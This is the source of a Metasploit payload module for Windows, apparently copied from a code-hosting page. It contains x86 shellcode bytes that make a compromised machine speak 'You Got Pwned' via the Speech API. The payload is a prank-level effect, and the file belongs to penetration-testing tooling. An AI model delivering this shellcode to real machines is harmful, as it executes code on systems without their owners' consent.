Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/windows/speak_pwned.rb
Views: 11766
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45=begin67https://www.exploit-db.com/sploits/w32-speaking-shellcode.zip89Copyright (c) 2009-2010 Berend-Jan "SkyLined" Wever <[email protected]>10All rights reserved.1112Redistribution and use in source and binary forms, with or without13modification, are permitted provided that the following conditions are met:14* Redistributions of source code must retain the above copyright15notice, this list of conditions and the following disclaimer.16* Redistributions in binary form must reproduce the above copyright17notice, this list of conditions and the following disclaimer in the18documentation and/or other materials provided with the distribution.19* Neither the name of the copyright holder nor the names of the20contributors may be used to endorse or promote products derived from21this software without specific prior written permission.2223THIS SOFTWARE IS PROVIDED ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,24INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY25AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE26COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,27INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT28NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,29DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY30THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT31(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS32SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.3334=end353637module MetasploitModule3839CachedSize = 2474041include Msf::Payload::Windows42include Msf::Payload::Single4344def initialize(info = {})45super(update_info(info,46'Name' => 'Windows Speech API - Say "You Got Pwned!"',47'Description' => 'Causes the target to say "You Got Pwned" via the Windows Speech API',48'Author' => [ 'Berend-Jan "SkyLined" Wever <berendjanwever[at]gmail.com>' ],49'License' => BSD_LICENSE,50'Platform' => 'win',51'Arch' => ARCH_X86,52'Privileged' => false,53'Payload' =>54{55'Offsets' => { },56'Payload' =>57"\x66\x81\xe4\xfc\xff\x31\xf6\x64\x8b\x76\x30\x8b" +58"\x76\x0c\x8b\x76\x1c\x56\x66\xbe\xaa\x1a\x5f\x8b" +59"\x6f\x08\xff\x37\x8b\x5d\x3c\x8b\x5c\x1d\x78\x01" +60"\xeb\x8b\x4b\x18\x67\xe3\xeb\x8b\x7b\x20\x01\xef" +61"\x8b\x7c\x8f\xfc\x01\xef\x31\xc0\x99\x32\x17\x66" +62"\xc1\xca\x01\xae\x75\xf7\x49\x66\x39\xf2\x74\x08" +63"\x67\xe3\xcb\xe9\xdb\xff\xff\xff\x8b\x73\x24\x01" +64"\xee\x0f\xb7\x34\x4e\x8b\x43\x1c\x01\xe8\x8b\x3c" +65"\xb0\x01\xef\x31\xf6\x66\x81\xfa\xda\xf0\x74\x1b" +66"\x66\x81\xfa\x69\x27\x74\x20\x6a\x32\x68\x6f\x6c" +67"\x65\x33\x54\xff\xd7\x95\x66\xbe\xda\xf0\xe9\x95" +68"\xff\xff\xff\x56\xff\xd7\x66\xbe\x69\x27\xe9\x89" +69"\xff\xff\xff\x68\x6e\x04\x22\xd4\x68\xa1\xec\xef" +70"\x99\x68\xb9\x72\x92\x49\x68\x74\xdf\x44\x6c\x89" +71"\xe0\x68\x4f\x79\x73\x96\x68\x9e\xe3\x01\xc0\xff" +72"\x4c\x24\x02\x68\x91\x33\xd2\x11\x68\x77\x93\x74" +73"\x96\x89\xe3\x56\x54\x50\x6a\x17\x56\x53\xff\xd7" +74"\x5b\x68\x6f\x67\x20\x55\x68\x6f\x70\x20\x74\x68" +75"\x21\x64\x6e\x68\x96\x89\xe6\x50\xac\x66\x50\x3c" +76"\x55\x75\xf9\x89\xe1\x31\xc0\x50\x50\x51\x53\x8b" +77"\x13\x8b\x4a\x50\xff\xd1\xcc"78}79))8081# EXITFUNC is not supported :/82deregister_options('EXITFUNC')83end84end858687